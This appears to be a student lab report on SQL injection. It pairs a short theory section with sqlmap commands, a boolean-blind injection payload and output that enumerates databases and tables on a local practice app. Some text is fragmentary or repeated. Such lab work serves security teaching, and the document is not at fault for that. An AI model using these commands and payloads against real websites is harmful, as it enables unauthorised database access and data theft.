



AIM: Perform SQL Injection.

Experiment 11

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TYBTech Comps B

Aim: Perform SQL Injection

Theory: SQL injection (SQLi) is a type of an injection attack that makes it possible to execute malicious SQL statements. These statements control a database server behind a web application. Attackers can use SQL injection vulnerabilities to bypass application security measures. They can go around authentication and authorization of a web page or web application of a web page or web and retrieve the contents of the entire SQL database. They can also use SQL Injection to add, modify, and delete records in the database.

An SQL injection vulnerability may affect any website or web application that uses an SQL database such as MySQL, Oracle SQL server or others. Criminals may use it to gain unauthorized access to your sensitive data.

SQL injection attacks are one of the oldest application vulnerabilities. The OWASP (Open web Application Security Project), lists injections in their OWASP Top 10 2017 document as the number one threat to web application security.

Conclusion: Thus, we have learnt and performed SQL injection attack.


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[12:19:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[12:19:51] [INFO] fetching database names
[12:19:51] [WARNING] the SQL query provided does not return any output
[12:19:51] [INFO] retrieved: 'information_schema'
[12:19:51] [INFO] retrieved: 'challenges'
[12:19:51] [INFO] retrieved: 'mysql'
[12:19:51] [INFO] retrieved: 'performance_schema'
[12:19:51] [INFO] retrieved: 'security'
available databases [5]:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security

[12:19:51] [INFO] fetched data logged to text files under '/home/aakash/.local/share/sqlmap/output/localhost'
[*] ending @ 12:19:51 /2021-04-21/

```

```

@HackingFlix)-[~]
$ sqlmap -u "http://localhost/Less-4/?id=1" -D security --tables

[1.5.2#stable]
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:24:18 /2021-04-21/

[12:24:18] [INFO] resuming back-end DBMS 'mysql'
[12:24:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: id=1") AND 3496=3496#

```

```

File Actions Edit View Help
c78566e525a4a524b6e4b,0x71787a7671)#
---
[12:24:19] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[12:24:19] [INFO] fetching tables for database: 'security'
[12:24:19] [INFO] retrieved: 'emails'
[12:24:19] [INFO] retrieved: 'referers'
[12:24:19] [INFO] retrieved: 'uagents'
[12:24:19] [INFO] retrieved: 'users'
Database: security
[4 tables]
+-----+
| emails |
| referers |
| uagents |
| users |
+-----+

```

CONCLUSION

Thus, we have successfully studied SQL injection and implemented basic injectionsto check out the data in server with Kali Linux using SQL map.